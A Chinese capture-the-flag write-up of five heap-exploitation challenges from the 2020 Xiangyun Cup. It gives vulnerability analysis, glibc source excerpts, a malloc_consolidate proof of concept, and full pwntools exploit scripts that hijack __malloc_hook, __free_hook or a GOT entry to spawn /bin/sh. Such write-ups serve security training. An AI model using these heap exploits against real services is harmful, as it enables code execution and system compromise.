-
-
[原创]祥云杯2020 PWN 详解
-
2020-11-26 15:16 8726
-
祥云杯2020 PWN 详细分析
Written by ScUpax0s
Beauty_of_ChangChun
glibc 2.31
漏洞点在delete函数free的时候只清空了 size表中的LOWBYTE,如果size表中记录的是0x100这样的,就相当于没清,造成UAF。
并且申请0xf9会返回0x110,相当于可以获得0x110的chunk的UAF以及重复利用。
最后打 tcache stashing unlink,往buf_addr写一个main_arena地址即可。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | # encoding=utf-8 from pwn import * #from LibcSearcher import * s = lambda buf: io.send(buf) sl = lambda buf: io.sendline(buf) sa = lambda delim, buf: io.sendafter(delim, buf) sal = lambda delim, buf: io.sendlineafter(delim, buf) shell = lambda : io.interactive() r = lambda n = None : io.recv(n) ra = lambda t = tube.forever:io.recvall(t) ru = lambda delim: io.recvuntil(delim) rl = lambda : io.recvline() rls = lambda n = 2 * * 20 : io.recvlines(n) libc_path = "/lib/x86_64-linux-gnu/libc-2.31.so" elf_path = "./pwn" libc = ELF(libc_path) elf = ELF(elf_path) #io = remote("node3.buuoj.cn",26000) if sys.argv[ 1 ] = = '1' : context(log_level = 'debug' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) elif sys.argv[ 1 ] = = '0' : context(log_level = 'info' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) #io = process([elf_path],env={"LD_PRELOAD":libc_path}) cho = '4: Enjoy scenery' # choice提示语 siz = 'size:' # size输入提示语 con = 'chat:' # content输入提示语 ind = 'idx:' # index输入提示语 edi = '' # edit输入提示语 def add(size,content = ' ',c=' 1 '): sal(cho,c) sal(siz, str (size)) def free(index,c = '2' ): sal(cho,c) sal(ind, str (index)) def show(index,c = '4' ): sal(cho,c) sal(ind, str (index)) def edit(index,content = ' ',c=' 3 '): sal(cho,c) sal(ind, str (index)) sa(con,content) def big(c = '666' ): sal(cho,c) # 获取pie基地址 def get_proc_base(p): proc_base = p.libs()[p._cwd + p.argv[ 0 ].strip( '.' )] info( hex (proc_base)) # 获取libc基地址 def get_libc_base(p): libc_base = p.libs()[libc_path] info( hex (libc_base)) def d(): pause() def exp(): global io io = process(elf_path) #io = remote("112.126.71.170",43652) ru(b 'A gift from ChangChun People\n' ) buf_addr = ((r( len ( '7f61db039000' )))) buf_addr = int (buf_addr.decode(), 16 ) success( "buf_Addr:" + hex (buf_addr)) #libc.address = buf_addr-0x232000 add( 0x100 ) #0 add( 0xf9 ) #1 add( 0x100 ) #2 # 0xf9对齐到0x110 #add(0x80) #2 free( 1 ) for i in range ( 7 ): add( 0xf9 ) free( 1 ) free( 0 ) free( 2 ) big() # (0x110)smallbin: #2 -> #0 # 用smallbin里的两个chunl拿到heap和libc show( 2 ) ru( "see\n" ) heap = u64(r( 6 ).ljust( 8 ,b '\x00' )) - 0x290 success( "heap:" + hex (heap)) show( 0 ) libc.address = u64(ru( '\x7f' )[ - 6 :].ljust( 8 ,b '\x00' )) - 352 - 0x10 - libc.sym[ '__malloc_hook' ] success( "libc base:" + hex (libc.address)) #add(0x100) # 从满的tcahce里取一个,此时tcahce为6个 # First time in magic: malloc(0x108) sl( '5' ) sl( 'a' * 8 ) # (0x110)smallbin: #2 -> #0 # hijack #2's bk = buf_addr-0x10,并且保证 2's fd不变。因为要保证 bck->fd == victim(最后一个chunk) edit( 2 ,p64(heap + 0x290 ) + p64(buf_addr - 0x10 )) add( 0x100 ) pause() # 触发stashing,此时buf_addr被写上了bin的地址 bin_addr = 0x1ebce0 + libc.address edit( 0 ,p64(bin_addr)) sl( '5' ) sl( '0' ) # 此时0号chunk的一开始存了bin_addr shell() exp() |
ying_liu_zhi_zhu
这题非预期解有点多啊。
add开0x60(最多add 11次)
free后UAF,配合edit随便修改free chunk的指针
show输出8字节内容
fun_glob如下:
12345678910111213141516171819202122unsigned __int64 fun_glob()
{
signed
int
i;
/
/
[rsp
+
Ch] [rbp
-
104h
]
glob_t pglob;
/
/
[rsp
+
10h
] [rbp
-
100h
]
char pattern[
168
];
/
/
[rsp
+
60h
] [rbp
-
B0h]
unsigned __int64 v4;
/
/
[rsp
+
108h
] [rbp
-
8h
]
v4
=
__readfsqword(
0x28u
);
for
( i
=
0
; i <
=
0xA5
;
+
+
i )
{
read(
0
, &pattern[i],
1uLL
);
if
( pattern[i]
=
=
'\n'
)
{
pattern[i]
=
0
;
break
;
}
}
memset(&pglob,
0
, sizeof(pglob));
if
( !glob(pattern,
0x1002
,
0LL
, &pglob) )
globfree(&pglob);
return
__readfsqword(
0x28u
) ^ v4;
}
思路1(scanf溢出打mallochook)
由于使用了scanf函数,而scanf函数,会调用 _IO_vfscanf (s, fmt, ap, errp);其中s是stdin,最后_IO_file_doallocate会调用malloc一个0x400的空间,作为stdin的缓冲区,然后把读入的内容放入缓冲区。
但是如果我们输入大于0x400长度的数字,此时没法全部放到stdin缓冲区里。他会再申请一次0x800的缓冲区,然后把缓冲区1中的内容拷贝过去。然后最后会把第二块缓冲区free掉。我们可以利用0x800这次申请,将fastbin中的chunk合并,获得一个smallbin中的chunk,泄露libc地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 | # encoding=utf-8 from pwn import * s = lambda buf: io.send(buf) sl = lambda buf: io.sendline(buf) sa = lambda delim, buf: io.sendafter(delim, buf) sal = lambda delim, buf: io.sendlineafter(delim, buf) shell = lambda : io.interactive() r = lambda n = None : io.recv(n) ra = lambda t = tube.forever:io.recvall(t) ru = lambda delim: io.recvuntil(delim) rl = lambda : io.recvline() rls = lambda n = 2 * * 20 : io.recvlines(n) libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so" #libc_path = "./libc-2.23.so" #libc_path = "./libc6_2.23-0ubuntu3_amd64.so" elf_path = "./ying_liu_zhi_zhu" libc = ELF(libc_path) elf = ELF(elf_path) #io = remote("node3.buuoj.cn",26000) if sys.argv[ 1 ] = = '1' : context(log_level = 'debug' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) elif sys.argv[ 1 ] = = '0' : context(log_level = 'info' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) #io = process([elf_path],env={"LD_PRELOAD":libc_path}) cho = '' # choice提示语 siz = '' # size输入提示语 con = '' # content输入提示语 ind = '' # index输入提示语 edi = '' # edit输入提示语 def add(content = ' ',c=' 1 '): sl( '1' ) def free(index,c = '2' ): sl(c) sl( str (index)) def show(index,c = '4' ): sl(c) sl( str (index)) def edit(index,content = ' ',c=' 3 '): sl(c) sl( str (index)) s(content) def glob( file = ' ',c=' 5 '): sl(c) sl( str ( file )) # 获取pie基地址 def get_proc_base(p): proc_base = p.libs()[p._cwd + p.argv[ 0 ].strip( '.' )] info( hex (proc_base)) # 获取libc基地址 def get_libc_base(p): libc_base = p.libs()[libc_path] info( hex (libc_base)) def exp(): global io io = process(elf_path) add() # 0 add() # 1 add() # 2 free( 0 ) free( 1 ) sl( '4' ) sl( '9' * 0x410 ) sl( '4' ) sl( '4' ) sl( str ( 0 )) leak = u64(ru( "\x7f" )[ - 6 :].ljust( 8 , '\x00' )) libc.address = leak - 296 - 0x10 - libc.sym[ '__malloc_hook' ] success( "libc:" + hex (libc.address)) if libc.address >> 40 ! = 0x7F : raise Exception( 'error leak!' ) fake_addr = libc.sym[ '__malloc_hook' ] - 0x23 #0x7ffff7dd1aed - 0x7ffff7a0d000 + libc.address #success("mallochook-0x23:"+hex(fake_addr)) free( 1 ) edit( 1 ,p64(fake_addr)) add() #3 add() #4 ogg = libc.address + 0x4527a realloc = libc.sym[ 'realloc' ] edit( 4 , 'a' * 0xb + p64(ogg) + p64(realloc + 4 )) add() shell() # exp() while ( 1 ): try : exp() io.close() except Exception: io.close() |
思路2(打chunk table劫持freehook)
main函数在一开始规定了add、free、edit等等的次数。但是 if(a){} 这样写的话,只有当a为0的时候不进if内,当a为负时会进if。所有所以可以在这个if里做一个减的溢出,这样我们add、edit、delete次数的限制就打开了(这里的break跳不出while循环,不知道是不是出题人故意留的漏洞)
然后bss的chunk table上方有stderr,可以错位构造一个0x7f把chunk申请过去,最后劫持chunk table打freehook传/bin/sh\x00即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 | # encoding=utf-8 from pwn import * s = lambda buf: io.send(buf) sl = lambda buf: io.sendline(buf) sa = lambda delim, buf: io.sendafter(delim, buf) sal = lambda delim, buf: io.sendlineafter(delim, buf) shell = lambda : io.interactive() r = lambda n = None : io.recv(n) ra = lambda t = tube.forever:io.recvall(t) ru = lambda delim: io.recvuntil(delim) rl = lambda : io.recvline() rls = lambda n = 2 * * 20 : io.recvlines(n) libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so" #libc_path = "./libc-2.23.so" #libc_path = "./libc6_2.23-0ubuntu3_amd64.so" elf_path = "./ying_liu_zhi_zhu" libc = ELF(libc_path) elf = ELF(elf_path) #io = remote("node3.buuoj.cn",26000) if sys.argv[ 1 ] = = '1' : context(log_level = 'debug' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) elif sys.argv[ 1 ] = = '0' : context(log_level = 'info' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) #io = process([elf_path],env={"LD_PRELOAD":libc_path}) cho = '' # choice提示语 siz = '' # size输入提示语 con = '' # content输入提示语 ind = '' # index输入提示语 edi = '' # edit输入提示语 def add(content = ' ',c=' 1 '): sl( '1' ) def free(index,c = '2' ): sl(c) sl( str (index)) def show(index,c = '4' ): sl(c) sl( str (index)) def edit(index,content = ' ',c=' 3 '): sl(c) sl( str (index)) s(content) def glob( file = ' ',c=' 5 '): sl(c) sl( str ( file )) def exp(): global io io = process(elf_path) #io = remote("8.131.69.237",45123) #io = remote("112.126.71.170",45123) # free、edit次数溢出 for i in range ( 5 ): free( 11 ) for i in range ( 5 ): edit( 11 ) add() # 0 add() # 1 free( 0 ) free( '1' * 0x400 ) #shell() show( 0 ) libc.address = u64( r( 6 ).ljust( 8 , '\x00' ) ) - 184 - 0x10 - libc.sym[ '__malloc_hook' ] success( "libc:" + hex (libc.address)) mh = libc.sym[ '__malloc_hook' ] fh = libc.sym[ '__free_hook' ] system = libc.sym[ 'system' ] add() #2 smallbin里的拿回来, #2 = #0 free( 1 ) free( 2 ) edit( 2 ,p64( 0x60203d )) # chunk list上方是stderr指针,有一个0x7f的大数,可以申请到chunk list add() add() add() success( "fh:" + hex (fh)) edit( 8 , '\x00' * 0x13 + p64(fh)) edit( 0 ,p64(system)) edit( 1 , '/bin/sh\x00' ) # free(1) #pause() free( 1 ) shell() . exp() |
思路3(利用glob拿到一个ub里的free chunk)
题目给了glob函数,而glob函数中 可以产生(但不一定) 一个很大的堆操作,可以获得一个大小为 0x8040的unsortedbi的chunk,再申请出来泄露地址即可。后面一样的。
1 2 3 4 5 6 7 8 9 10 | global io io = process(elf_path) glob( "*" ) pause() add() # 0 add( 1 ) #1 show( 1 ) libc.address = u64(ru( '\x7f' )[ - 6 :].ljust( 8 , '\x00' )) - 0x10 - libc.sym[ '__malloc_hook' ] - 1960 success( "libc:" + hex (libc.address)) |
调用链:
源码对应的在这里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | DIR * internal_function __alloc_dir ( int fd, bool close_fd, int flags, const struct stat64 * statp) { { if (__builtin_expect (__fcntl (fd, F_SETFD, FD_CLOEXEC), 0 ) < 0 ) goto lose; } const size_t default_allocation = ( 4 * BUFSIZ < sizeof (struct dirent64) ? sizeof (struct dirent64) : 4 * BUFSIZ); const size_t small_allocation = (BUFSIZ < sizeof (struct dirent64) ? sizeof (struct dirent64) : BUFSIZ); size_t allocation = default_allocation; DIR * dirp = ( DIR * ) malloc (sizeof ( DIR ) + allocation); |
可以看到在 __alloc_dir 中一开始令:size_t allocation = default_allocation;而 default_allocation是 4 * BUFSIZ和sizeof (struct dirent64)中更大的那个。
最后malloc的大小为:sizeof (DIR) + allocation,DIR是目录结构体。
其中:
BUFSIZ为8192(0x2000)
- 123456789
struct dirent64
{
__ino64_t d_ino;
unsigned short
int
d_reclen;
unsigned char d_type;
unsigned char d_namlen;
char d_name[
1
];
};
- 12345678910111213
struct __dirstream
{
void
*
__fd;
char
*
__data;
int
__entry_data;
char
*
__ptr;
int
__entry_ptr;
size_t __allocation;
size_t __size;
__libc_lock_define (, __lock)
};
typedef struct __dirstream
DIR
;
经过实际调试这个sizeof(DIR)似乎是0x30。
经过我的测试,想要达成malloc(0x8030)我们可以通过给glob一个目录(带*通配),比如”./test/*“,或者exp*这种通配也可以。但是如果调用glob("exp.py")这种,就会越过 __alloc_dir 这一步操作。(翻译过来就是:“给目录分配空间orz”
而造成这个的原因在 glob_in_dir()
函数中使用:__glob_pattern_type (pattern, !(flags & GLOB_NOESCAPE));
做了一次匹配。
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | static int glob_in_dir (const char * pattern, const char * directory, int flags, int ( * errfunc) (const char * , int ), glob_t * pglob, size_t alloca_used) { size_t dirlen = strlen (directory); void * stream = NULL; / * 这里省略一大串 * / meta = __glob_pattern_type (pattern, !(flags & GLOB_NOESCAPE)); / / 进行判断 or 匹配 if (meta = = 0 && (flags & (GLOB_NOCHECK|GLOB_NOMAGIC))) / / 第一种情况 { flags | = GLOB_NOCHECK; } else if (meta = = 0 ) / / 第二种情况 { / * 省略 * / } else / / 最后一种情况,就是在这里调用了opendir! { stream = (__builtin_expect (flags & GLOB_ALTDIRFUNC, 0 ) ? ( * pglob - >gl_opendir) (directory) : opendir (directory)); |
其中调用了:__glob_pattern_type()
做匹配
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | int __glob_pattern_type (const char * pattern, int quote) { const char * p; int ret = 0 ; for (p = pattern; * p ! = '\0' ; + + p) switch ( * p) { case '?' : case '*' : / / 当存在 * 通配时,直接 return 1 return 1 ; case '\\' : if (quote) { if (p[ 1 ] ! = '\0' ) + + p; ret | = 2 ; } break ; case '[' : ret | = 4 ; break ; case ']' : if (ret & 4 ) return 1 ; break ; } return ret; } |
所以这里就非常清楚了。当存在“ * ”时,__glob_pattern_type() 返回1,进入最后的else,调用opendir,最终malloc(0x8030)
之后还会有类似如下的多个调用,取决于你要找的目录下面的文件:
具体开了多大取决于你文件名。这些chunk存储的是文件名字符串。然后还会开一张表这张表存储每个strdup开出来的位置。
最后会调用free把strdup开出来的chunkk全部free掉。然后最终free掉那张表。
garden
- add函数只能开0x100。index限制在0-8一共9个。malloc后直接read0x100
- free后清空table中指针。无uaf
- show限制一次,puts输出
- UAF函数给了一次free后不清指针的机会,只能使用一次
- get_0x20提供了一次malloc(0x20),只能使用一次
本题主要考察: house_of_botcake配合tcache 灵活利用。
house of botcake实际就是通过overlap一个chunk同时放入ub和tc中,然后错位切割,劫持指针来做任意地址申请。
本题我们首先通过把一个合并后的大chunk放入ub和tc,利用uaf泄露地址。然后malloc 0x20切割一次。
而由于此时我们已经切割了一次0x20了,那么当我们再从ub里申请0x100时就会申请到heap+0x290位置的chunk(0x100大小),而如果把这个申请回来。再free出去就实现了:0x290 -> 0x370,由于add一次可以read 0x100,此时就可以劫持0x370处的next指针。
效果如下:
之后打freehook起system('/bin/sh\x00')
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | # encoding=utf-8 from pwn import * #from LibcSearcher import * s = lambda buf: io.send(buf) sl = lambda buf: io.sendline(buf) sa = lambda delim, buf: io.sendafter(delim, buf) sal = lambda delim, buf: io.sendlineafter(delim, buf) shell = lambda : io.interactive() r = lambda n = None : io.recv(n) ra = lambda t = tube.forever:io.recvall(t) ru = lambda delim: io.recvuntil(delim) rl = lambda : io.recvline() rls = lambda n = 2 * * 20 : io.recvlines(n) libc_path = "/lib/x86_64-linux-gnu/libc-2.29.so" elf_path = "./garden" libc = ELF(libc_path) elf = ELF(elf_path) #io = remote("node3.buuoj.cn",26000) if sys.argv[ 1 ] = = '1' : context(log_level = 'debug' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) elif sys.argv[ 1 ] = = '0' : context(log_level = 'info' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) #io = process([elf_path],env={"LD_PRELOAD":libc_path}) cho = '>>' # choice提示语 siz = '' # size输入提示语 con = 'tree name?' # content输入提示语 ind = 'tree index?' # index输入提示语 edi = '' # edit输入提示语 def add(index,content = ' ',c=' 1 '): # malloc(0x100) sal(cho,c) sal(ind, str (index)) sal(con,content) def free(index,c = '2' ): #sal(cho,c) sal(cho,c) sal(ind, str (index)) def show(index,c = '3' ): sal(cho,c) sal(ind, str (index)) def uaf(index,c = '5' ): sal(cho,c) sal( "which tree do you want to steal?" , str (index)) def get_0x20(c = '6' ): sal(cho,c) def d(): pause() # 获取libc基地址 def get_libc_base(p): libc_base = p.libs()[libc_path] info( hex (libc_base)) def exp(): global io io = process(elf_path) for i in range ( 9 ): add(i, 'a' * 0x10 ) #pause() for i in range ( 2 , 7 ): free( 10 - i) #pause() free( 2 ) free( 3 ) uaf( 1 ) free( 0 ) # 0x220 in ub show( 1 ) libc.address = u64(ru( '\x7f' )[ - 6 :].ljust( 8 , '\x00' )) - 96 - 0x10 - libc.sym[ '__malloc_hook' ] success( "libc:" + hex (libc.address)) add( 3 ) # 从 full tcache中拉一个回来 free( 1 ) get_0x20() free( 3 ) # unsortbin: 0x559a2674d580 (size : 0x110) <--> 0x559a2674d280 (size : 0x1f0) #(0x110) tcache_entry[15](7): 0x559a2674d370 (overlap chunk with 0x559a2674d280(freed) ) for i in range ( 7 ): add(i) add( 7 , "unsortedbin back(0x110)" ) add( 8 , "unsortedbin cut" ) # 0x1f0 -> 0xe0 #d() free( 0 ) free( 8 ) d() add( 8 , '\x00' * 0xd0 + p64( 0 ) + p64( 0x111 ) + p64(libc.sym[ '__free_hook' ])) for i in range ( 6 ): free( 8 - i) free( 1 ) free( 2 ) for i in range ( 5 ): add(i) add( 6 , '/bin/sh\x00' ) # unsortbin: 0x5563c78a0690 (size : 0x110) <--> 0x5563c78a0390 (size : 0x1f0) #0x110) tcache_entry[15](1): 0x5563c78a0370 (overlap chunk with 0x5563c78a0390(freed) ) d() add( 7 ) success( hex (libc.sym[ '__free_hook' ])) add( 8 ,p64(libc.sym[ 'system' ])) free( 6 ) shell() exp() |
把嘴闭上
mallop“漏洞”
漏洞链接:https://sourceware.org/bugzilla/show_bug.cgi?id=25733 (要求glibc<=2.26)
漏洞成因:malloc_consolidate重复调用,导致top_chunk = unsortebin
mallopt会调用 malloc_consolidate (av);
1 2 3 4 5 6 7 8 9 10 11 | int __libc_mallopt ( int param_number, int value) { mstate av = &main_arena; int res = 1 ; if (__malloc_initialized < 0 ) ptmalloc_init (); (void) mutex_lock (&av - >mutex); / * Ensure initialization / consolidation * / malloc_consolidate (av); |
PoC.c如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | #include <stdio.h> #include <stdlib.h> #include <malloc.h> int main(void) { setbuf(stdout, 0 ); setbuf(stderr, 0 ); setbuf(stdin, 0 ); / / Populate last_remainder, which is treated as the top chunk size field / / after main arena re - initialization. void * remainder_me = malloc( 0x418 ); malloc( 0x18 ); / / Avoid top chunk consolidation. free(remainder_me); malloc( 0x18 ); / / Remainder remainder_me chunk. getchar(); / / Set global_max_fast to 0. mallopt(M_MXFAST, 7 ); getchar(); / / Trigger malloc_consolidate(), which could happen during large / / allocations / frees, but for the sake of simplicity here just call / / mallopt() again. / / 这里用mallopt触发 malloc_consolidate 来初始化堆空间(因为检测到 max fast = 0 ) mallopt(M_MXFAST, 0x78 ); getchar(); / / 初始化结束后,会使top_chunk = &unsortedbin / / malloc_consolidate() uses global_max_fast to determine if malloc has / / been initialized. If global_max_fast is 0 , malloc_consolidate() will / / re - initialize the main arena, setting its top chunk pointer to an address / / within the main arena. Now last_remainder acts as the top chunk size / / field. printf( "%p\n" , malloc( 0x418 )); getchar(); return 0 ; } |
static void malloc_consolidate(mstate av) 源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | static void malloc_consolidate(mstate av) { / * ...... * / / * If max_fast is 0 , we know that av hasn't yet been initialized, in which case do so below * / if (get_max_fast () ! = 0 ) { / * .... * / } else { malloc_init_state(av); check_malloc_state(av); } } |
当此时的max fast为0时,会做 malloc_init_state(av)
再做初始化。
此时,会将top chunk的指针设置成 bin本身的地址。
可以打一个watch在unsortedbin对应的地址上查看。
发现是 malloc_init_state(av);
中的这一条命令造成的:
initial_top相当于bin_at,所以本质就是重复初始化了一遍,相当于自己对自己做了一个赋值
1 | watch * ( int * ) 0x7ffff7dd1b78 |
再malloc一次大于0x400的可以拿到一个main_arena上的chunk
所以这道题就很像一个根据这个PoC打的一个模板题了。我本来的想法是,首先构造出这样的,top chunk,mallopt调整fastbin大小为largechunk的大小,然后free出去此时会被挂在一个evil addr,然后我们再申请过去改fastbin指针,然后申请evilfastbin的大小达到任意申请。但是发现不可行,因为ub的地址没有对齐到2*size_t。
不过既然我们已经可以申请到main_arena上也就是libc里(mapped)的地址,那么就可以直接申请直到freehook覆盖为system即可,而freehook会在验证对齐之前调用,所以不用担心对齐的问题了。
这道题是我认为本次比赛最好玩的一道题
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 | # encoding=utf-8 from pwn import * #from LibcSearcher import * s = lambda buf: io.send(buf) sl = lambda buf: io.sendline(buf) sa = lambda delim, buf: io.sendafter(delim, buf) sal = lambda delim, buf: io.sendlineafter(delim, buf) shell = lambda : io.interactive() r = lambda n = None : io.recv(n) ra = lambda t = tube.forever:io.recvall(t) ru = lambda delim: io.recvuntil(delim) rl = lambda : io.recvline() rls = lambda n = 2 * * 20 : io.recvlines(n) su = lambda delim, buf: success(delim + buf) libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so" elf_path = "./ba_zui_bi_shang" libc = ELF(libc_path) elf = ELF(elf_path) #io = remote("node3.buuoj.cn",26000) if sys.argv[ 1 ] = = '1' : context(log_level = 'debug' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) elif sys.argv[ 1 ] = = '0' : context(log_level = 'info' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) #io = process([elf_path],env={"LD_PRELOAD":libc_path}) cho = '>您想做什么?\n影帝 > ' # choice提示语 siz = '' # size输入提示语 con = '>商品名?' # content输入提示语 ind = 'tree index?' # index输入提示语 edi = '' # edit输入提示语 def add( len ,content = ' ',c=' 1 '): sal(cho,c) sal( ">商品名长度?" , str ( len )) sal(con,content) def free(c = '2' ): sal(cho,c) def mallopt(rdi,rsi): sal(cho, '3' ) sal( ">多少钱" , str (rdi)) sal( ">多少件?" , str (rsi)) def large( len ,con = ''): sal(cho, '4' ) sal( ">专场商品列表长度?" , str ( len )) sa( ">专场商品列表?" ,con) def d(): pause() # 获取libc基地址 def get_libc_base(p): libc_base = p.libs()[libc_path] info( hex (libc_base)) def exp(): global io io = process(elf_path) ru( "Your Gift : " ) libc.address = int (r( len ( "0x7f91e44a66a0" )), 16 ) - libc.sym[ 'puts' ] su( 'lib:' , hex (libc.address)) item_list_len = 0x418 item_list = 'a' * 0x418 sal( ">专场商品列表长度?" , str (item_list_len)) sal( ">专场商品列表?" ,item_list) mh = libc.sym[ '__malloc_hook' ] fh = libc.sym[ '__free_hook' ] success( hex (fh)) add( 0x18 , 'b' * 0x18 ) # defense chunk add 1 #large('b'*0x18) free() # free 1 add( 0x18 , 'c' * 0x18 ) # add 2 #d() mallopt( 1 , 7 ) # mallopt 1 mallopt( 1 , 0x78 ) # mallopt 2 这里可以调大到largebin大小 large( 0x408 , "\x78" ) # 拿到ub(libc) large( 0x4f8 , "\x78" ) large( 0x4f8 , "\x78" ) large( 0x4f8 , "\x78" ) large( 0x4f8 , "\x78" ) large( 0x4f8 , '/bin/sh\x00' + '\00' * 0x408 + p64(libc.sym[ 'system' ])) free() shell() exp() """ add_times = 2; del_times = 2; mallopt_times = 2; large_reuest_times = 7; del 前必须 add或large request vul 前必须 del """ |
babypwn(C++)
详细的逆向可以推荐看我传上来的ida文件。
泄露libc和heap地址
write函数输出的是 newest_Init->v_ptr
,但是当连续两次调用Init后,会free掉之前create创建的Init 对象。由于此时没有调用add,所以记录的还是free之前的,然后调用show即可泄露地址(此时now_Create_obj->newest_Init存的是smallbin的fd),可以一次泄露heap和libc
getshell
通过多次的重复Init() 配合 add() 可以实现任意地址写。最后劫持strtolog的got为system,发送sh即可。(实际测试可能要多试几次)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 | # encoding=utf-8 from pwn import * from LibcSearcher import * s = lambda buf: io.send(buf) sl = lambda buf: io.sendline(buf) sa = lambda delim, buf: io.sendafter(delim, buf) sal = lambda delim, buf: io.sendlineafter(delim, buf) shell = lambda : io.interactive() r = lambda n = None : io.recv(n) ra = lambda t = tube.forever:io.recvall(t) ru = lambda delim: io.recvuntil(delim) rl = lambda : io.recvline() rls = lambda n = 2 * * 20 : io.recvlines(n) libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so" elf_path = "./pwn" libc = ELF(libc_path) elf = ELF(elf_path) #io = remote("node3.buuoj.cn",26000) if sys.argv[ 1 ] = = '1' : context(log_level = 'debug' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) elif sys.argv[ 1 ] = = '0' : context(log_level = 'info' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) #io = process([elf_path],env={"LD_PRELOAD":libc_path}) cho = 'choice:' # choice提示语 siz = 'please input size:' # size输入提示语 con = 'content:' # content输入提示语 ind = '' # index输入提示语 edi = '' # edit输入提示语 def init(c = '1' ): sal(cho,c) def create(c = '2' ): sal(cho,c) def add(size,c = '3' ): sal(cho,c) sal(siz, str (size)) def set (content = ' ',c=' 4 '): sal(cho,c) sa(con,content) def show(c = '5' ): sal(cho,c) def size(c = '6' ): sal(cho,c) def d(): pause() def exp(): global io io = process(elf_path) # 0x20 Father init() # 0x90 Class1 create() # 0x20 new_obj add( 0x38 ) # 0x40 add( 0x48 ) class1_vtable_addr = 0x401990 init() #d() add( 0x88 ) # 放入smallbin show() libc.address = u64(ru( '\x7f' )[ - 6 :].ljust( 8 , '\x00' )) - 88 - 0x10 - libc.sym[ '__malloc_hook' ] fh = libc.sym[ '__free_hook' ] mh = libc.sym[ '__malloc_hook' ] success( "libc:" + hex (libc.address)) r( 2 ) heap = u64(r( 6 ).ljust( 8 , '\x00' )) - ( 0x236fc40 - 0x235e000 ) success( "heap:" + hex (heap)) #create() pop_rdi = 0x0000000000401833 bin_sh = libc.address + 0x000000000018ce17 leave_ret = 0x0000000000042361 + libc.address #set(p64(0)+libc.sym['__free_hook']) create() init() add( 0x88 ) set (p64( 0 ) + p64(elf.got[ 'strtol' ])) set (p64(libc.sym[ 'system' ])) s( "sh\x00" ) shell() exp() |
这个题指针有点多,建议画个图
参考
个人对linux内核中的linux_digent64结构体的理解
dirent和DIR 结构体 --- 表示文件夹中目录内容信息
Linux下DIR,dirent,stat等结构体详解(转)
https://elixir.bootlin.com/glibc/glibc-2.23/source/posix/glob.c#L1459
https://sourceware.org/bugzilla/show_bug.cgi?id=25733
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法